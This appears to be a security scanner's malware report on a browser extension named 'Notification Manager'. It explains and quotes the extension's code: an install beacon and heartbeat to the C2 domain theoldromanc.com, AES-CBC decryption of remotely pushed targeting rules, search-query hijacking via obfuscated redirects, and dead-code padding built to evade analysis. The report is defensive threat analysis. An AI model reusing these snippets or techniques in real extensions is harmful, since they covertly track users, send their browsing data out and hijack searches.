Security Alert: Confirmed Malware
Notification Manager
ID: obeolenehnecfenafkhhfdalgcngbopb
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- zoesimons.extView Profile
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Allows you to create custom notifications for yourself,you can add a text message and set a timer,it will be displayed on time.
The Notification Manager is a browser extension that allows you to set reminders and receive notifications at a later time. With this extension, you can input a custom message and set a timer for when they would like to be reminded. Once the timer ends, the extension will present the notification to the user. This can be a useful tool for managing tasks and staying organized throughout the day!
On install, the extension beacons to `https://theoldromanc.com/install?ext=Notification Manager&ver=1`, saves the server's response as a token (`dd`) in localStorage, and uses that token to set a custom uninstall tracking URL at the same domain. This is covert C2 registration — the server assigns a unique tracking ID to each installation, which is later used as an encryption key and exfiltration credential.
async function analytics(i) { var E0 = "/"; var K; if (i === k0IIr.Z) { K = k0IIr.j + _ExtDomNoSchema + E0 + i + k0IIr.o0 + _ExtnensionName + k0IIr.W5 + _ExtensionVersion; fetch(K) .then(r => r.text()) .then(k => { var q8 = "/uninstall?ext="; saveObjectInLocalStorage({ 'dd': k }); chrome.runtime.setUninstallURL(k0IIr.j + _ExtDomNoSchema + q8 + _ExtnensionName + k0IIr.W5 + _ExtensionVersion + k0IIr.O_ + k); }) .catch(t => {}); }}The `save` function sends a heartbeat to `https://theoldromanc.com/hb?ext=...&dd=<token>&go=1`, receives an encrypted payload from the C2 server, and stores it under the `dt` localStorage key. This is the mechanism by which the C2 pushes updated encrypted configuration (search engine targeting rules, function name tables) to the extension. The response is also cached with an 11,000-second TTL.
save = async function(U) { var P4 = "/hb"; var q$ = "&go=1"; var w5 = 'dd'; var T, h; T = await getObjectFromLocalStorage(w5); if (T) { h = k0IIr.j + _ExtDomNoSchema + P4 + k0IIr.o0 + _ExtnensionName + k0IIr.W5 + _ExtensionVersion + k0IIr.O_ + T + q$; fetch(h) .then(c => c.text()) .then(s => { var i8 = "11000"; var K7 = 'dt'; getWithExpiry(K7); setWithExpirySec(K7, s, +i8); if (s === U) { save(s); } }) .catch(P => {}); }};The `ru()` content script function, called on every page load, decrypts the C2-supplied configuration using AES-CBC with the install token as key material, extracts the user's search query from the current URL using search-engine targeting rules embedded in the decrypted payload, constructs `https://theoldromanc.com/search?ext=...&dd=<token>&ver=1&is=0&q=<search_query>`, and silently redirects the browser there via obfuscated `window.location.href` assignment. This is active search query hijacking and user tracking across all visited pages.
X = document.body.classList;chrome.runtime.sendMessage({ wk: c9, bod: X}, function(O1) {});K = await getObjectFromLocalStorage(d_);a = await getObjectFromLocalStorage(h9);if (!a) { return;}q = K;while (q.length < (M$ ^ g3l2X.c3)) { q += K;}q = q.slice(+g3l2X.k_, +M$);T = encoder.encode(q);N = JSON.parse(a);w = await AES_CBC_decrypt(T, N.value);t = os(w);if (t && t.length > g3l2X.L1 - g3l2X.c3) { j = await getWithExpiry(Z7); P = g3l2X.E0; S = new URLSearchParams(window[w.fn[+g3l2X.k_]][w.fn[+g3l2X.L1]]); if (S.has(H$)) { P = S.get(H$); } if (P) { await setWithExpirySec(Z7, t, +w4); } else { if (t !== j) { await setWithExpirySec(Z7, t, w4 | E5); R4 = j0 + _ExtDomNoSchema + w5 + F9 + _ExtnensionName + m6 + K + X8 + _ExtensionVersion + Z9 + +g3l2X.k_ + u_ + t; window[w.fn[g3l2X.k_ | g3l2X.c3]][w.fn[g3l2X.L1 >> g3l2X.o8]] = R4; } }}The extension uses AES-CBC decryption (via `crypto.subtle`) to decrypt a payload received from the C2 server at `theoldromanc.com`. The decrypted JSON object contains function name tables (`fn`) and search engine targeting selectors (`g`, `y`, `b`) that control the search hijacking behavior. This is a remote code configuration pattern — the C2 can update the targeting rules without changing the extension itself, allowing the attack to evolve without detection.
function AES_CBC_decrypt(A, V) { return new Promise(l => { var L7 = "decrypt"; var Y1 = "aes-cbc"; var c_ = "raw"; var Z; Z = undefined; crypto.subtle.importKey(c_, A, Y1, g3l2X.E0, [L7]) .then(function(v) { return crypto.subtle.decrypt({ name: Y1, iv: iv }, v, hexStringToUint8Array(V)); }, {}) .then(function(d) { Z = decoderAscii.decode(d); l(JSON.parse(Z)); }, {}); });}The background script listens for messages from the content script with key `wk: "val"` and accepts a `bod` property containing the current page's `document.body.classList`. It passes this directly to `save()`, which transmits it to `theoldromanc.com/hb`. This constitutes unauthorized collection and exfiltration of browsing context data from every page the user visits.
chrome.runtime.onMessage.addListener(async function(y, X, x) { var O = "10740"; var W = "val"; var q = 'bod'; var w; if (y.wk === W) { w = await getWithExpiry(q); if (w === k0IIr.Q) { save(y.bod); setWithExpirySec(q, y.bod, +O); } }});The `os()` function inspects `window.location.href` (accessed via obfuscated property path from the decrypted `fn` table) and matches the hostname against three sets of search engine patterns (`Q.g`, `Q.y`, `Q.b`) supplied by the C2. It extracts the search query parameter from recognized search engine URLs. All property accesses and comparisons are deliberately obfuscated with bitwise arithmetic on `g3l2X` constants to evade static analysis.
function os(Q) { var s1 = ""; var W1 = "."; var j2 = "="; var I, o; I = s1; o = new URL(window[Q.fn[g3l2X.k_ | g3l2X.c3]][Q.fn[g3l2X.L1 >> f7]]); if (o.hostname.split(W1)[g3l2X.L1 ^ g3l2X.c3] === Q.g[g3l2X.k_ ^ g3l2X.c3] && o.search.indexOf(Q.g[+g3l2X.L1]) >= + g3l2X.k_) { I = o.searchParams.get(Q.g[g3l2X.L1 - g3l2X.c3].split(j2)[g3l2X.k_ << g3l2X.c3]); } else if (o.hostname.split(W1)[+g3l2X.L1] === Q.y[g3l2X.k_ - g3l2X.c3] && o.search.indexOf(Q.y[g3l2X.L1 * g3l2X .S2]) >= g3l2X.k_ * g3l2X.S2) { I = o.searchParams.get(Q.y[g3l2X.L1 | g3l2X.S2].split(+P5 === f9 - g3l2X.c3 ? Q2 - g3l2X.c3 == J0 >> f7 ? (+X3, q$ - g3l2X.c3) : (V5 * g3l2X.S2, a6) : j2)[+g3l2X.k_]); } else if (o.hostname.split(W1)[+g3l2X.L1] === Q.b[g3l2X.k_ * g3l2X.S2] && o.search.indexOf(Q.b[+g3l2X.L1]) >= +g3l2X .k_) { I = o.searchParams.get(Q.b[g3l2X.L1 * g3l2X.S2].split(j2)[+g3l2X.k_]); } return I;}Meaningful string constants (the C2 domain `theoldromanc.com`, URL fragments, the extension name, and version) are stored as properties on the `k0IIr` function object and interleaved with dozens of never-executing IIFEs (all guarded by `Math.random() > 1`, impossible loops like `while (i < 10)` after `i=20`, or `while (x > 5)` after `x=0`). This dead-code padding technique is specifically designed to bury the real logic in noise and defeat automated pattern matching. The identical technique is repeated in `content.js` using `g3l2X`.
k0IIr.o0 = "?ext=";(function() { let x = '' if (Math.random() > 1) { // ... dead code block ... }})();k0IIr.u = "9860";// [repeated pattern of string assignment + dead IIFE ...]k0IIr.O_ = "&dd=";k0IIr.o = "883";k0IIr.Z = "install";k0IIr.e = "theoldromanc.com";k0IIr.p = "0x23eb";k0IIr.j = "https://";k0IIr.f = "5585";k0IIr.b = "Notification Manager";k0IIr.Q = null;k0IIr.m = "1";k0IIr.l = "438.94";k0IIr.W5 = "&ver=";function k0IIr() {}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1 | 7 |
Files with findings
2 distinct paths — top paths by unique finding count:
- background.js4
- content.js3
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.